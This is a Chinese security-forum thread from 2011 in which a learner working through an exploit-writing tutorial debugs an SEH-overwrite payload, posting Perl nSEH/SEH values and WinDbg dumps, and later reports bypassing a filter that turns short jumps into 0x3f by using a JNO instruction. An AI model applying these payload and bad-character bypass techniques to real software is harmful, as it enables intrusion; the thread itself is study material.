首页
社区
课程
招聘
[旧帖] 求助 0.00雪花
发表于: 2011-3-1 15:06 2551

[旧帖] 求助 0.00雪花

2011-3-1 15:06
2551
我在学习Exploit编写教程3b时遇到了一个奇怪的问题

1.在将nseh编码为跳转指令之前:(此时用\xcc中断,下面的调试信息一切正常)
my $nseh="\xcc\xcc\xcc\xcc"; #breakpoint, sploit should stop here
my $seh=pack('V',0x1002083D);#SEH handler地址

0:000> d 0012fb7c
0012fb7c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fb8c  cc cc cc cc 3d 08 02 10-52 52 52 52 52 52 52 52  ....=...RRRRRRRR
0012fb9c  52 52 52 52 52 52 52 52-00 00 00 00 52 52 52 52  RRRRRRRR....RRRR
0012fbac  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbbc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbcc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbdc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbec  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0:000> d eip
0012fb8c  cc cc cc cc 3d 08 02 10-52 52 52 52 52 52 52 52  ....=...RRRRRRRR
0012fb9c  52 52 52 52 52 52 52 52-00 00 00 00 52 52 52 52  RRRRRRRR....RRRR
0012fbac  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbbc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbcc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbdc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbec  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012fbfc  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................

2.将nseh编码为 jmp 30个字节后(调试信息中问题出现了)

my $nseh="\xeb\x1e\xcc\xcc"; #breakpoint, sploit should stop here
my $seh=pack('V',0x1002083D); #SEH handler地址

0:000> d 0012fb7c
0012fb7c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fb8c  3f cc cc 3d 08 02 10 52-52 52 52 52 52 52 52 52  ?..=...RRRRRRRRR
0012fb9c  52 52 52 52 52 52 52 52-00 00 00 00 52 52 52 cc  RRRRRRRR....RRR.
0012fbac  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................
0012fbbc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................
0012fbcc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                  ................
0012fbdc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................
0012fbec  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                  ................
0:000> d 0012fb8c
0012fb8c  3f cc cc 3d 08 02 10 52-52 52 52 52 52 52 52 52  ?..=...RRRRRRRRR
0012fb9c  52 52 52 52 52 52 52 52-00 00 00 00 52 52 52 cc  RRRRRRRR....RRR.
0012fbac  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................
0012fbbc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................
0012fbcc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................
0012fbdc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                ................
0012fbec  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                ................
0012fbfc  cc cc cc cc cc cc cc cc - cc cc cc cc cc cc cc cc                 ................

将nseh编码为jmp指令之后,从0012fb8c开始以后的内容整体向前移动了一个字节,而且前面的字节被更改了。这使得在出现异常时无法跳到dll中的pop/pop/ret那里去。后来我使用教程中给的shellcode,发现也是同样的问题。

请各位高手帮帮忙啊。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 187
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
难道没有哪位高手帮忙解答一下吗。就这个问题我搞了四五个小时啊。
2011-3-1 19:39
0
雪    币: 120
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
菜鸟看不懂呢
等高手帮你解答吧
2011-3-2 00:31
0
雪    币: 187
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
还是我自己来结贴吧:
      这个程序在执行的时候会自动把"\xeb\xAA"和"\xe9\xAA"(这两个均为jmp的机器码,\xAA为跟在跳转指令后的相对偏移)换为"\x3f",我也搞不懂为什么。于是我就把无条件跳转指令jmp换为条件跳转指令JNO(机器码为“\x71",这时没有被改为"\x3f"了,跳转成功,后面的自然就好说了。
2011-3-2 12:40
0
游客
登录 | 注册 方可回帖
返回
//